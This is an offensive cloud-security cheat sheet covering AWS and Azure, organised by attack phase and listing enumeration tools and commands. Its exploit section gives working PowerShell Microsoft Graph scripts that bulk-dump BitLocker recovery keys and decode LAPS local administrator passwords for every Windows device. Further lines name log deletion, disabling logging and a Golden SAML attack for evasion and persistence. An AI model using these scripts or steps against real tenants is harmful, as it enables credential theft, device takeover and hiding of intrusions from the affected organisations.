[*] Reconnaissance

reconnaissance/misc_gitdumper

[*] Enum:

enum/aws_iam_enum_all

https://github.com/prowler-cloud/prowler

RoadTools

All Zeus Features: https://github.com/DenizParlak/Zeus

[*] Exploit

Bitlocker Dump: (Get-MgInformationProtectionBitlockerRecoveryKey -All) | ForEach-Object {

$device = (Get-MgDevice -Filter "deviceId eq '$($_.DeviceId)'").DisplayName

$key = (Get-MgInformationProtectionBitlockerRecoveryKey -BitlockerRecoveryKeyId $_.Id -Property Key).Key

[array]$bitlockerReport += "$device,$key"

}

$bitlockerReport

LAPS Dump: Connect-MgGraph -Scopes 'http://DeviceLocalCredential.Read.All'

Get-MgDevice -Filter "OperatingSystem eq 'Windows'" | ForEach-Object {

[array]$b64 = (Get-MgDirectoryDeviceLocalCredential -DeviceLocalCredentialInfoId $_.DeviceId -Property credentials).credentials.PasswordBase64

[string]$pw = if (!([string]::IsNullOrEmpty($b64))) { [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(($b64)[0])) }

[array]$lapsReport += "$($_.displayName),$pw"

}

$lapsReport

[*] Post Exploitation

https://github.com/Static-Flow/CloudCopy

https://github.com/andresriancho/enumerate-iam (like my enumerate iam)

[*] Bypass Defences

Disable Logging

Delete logs from Bucket

[*] Persistence

Golden SAML Attack

[*] Commands

list_aws_iam_groups

list_aws_iam_roles

list_aws_iam_policies

list_domains

list_s3_buckets

get_aws_iam_group

get_aws_iam_role

get_aws_iam_policy

get_domain

get_s3_bucket

list_azure_users

get_azure_user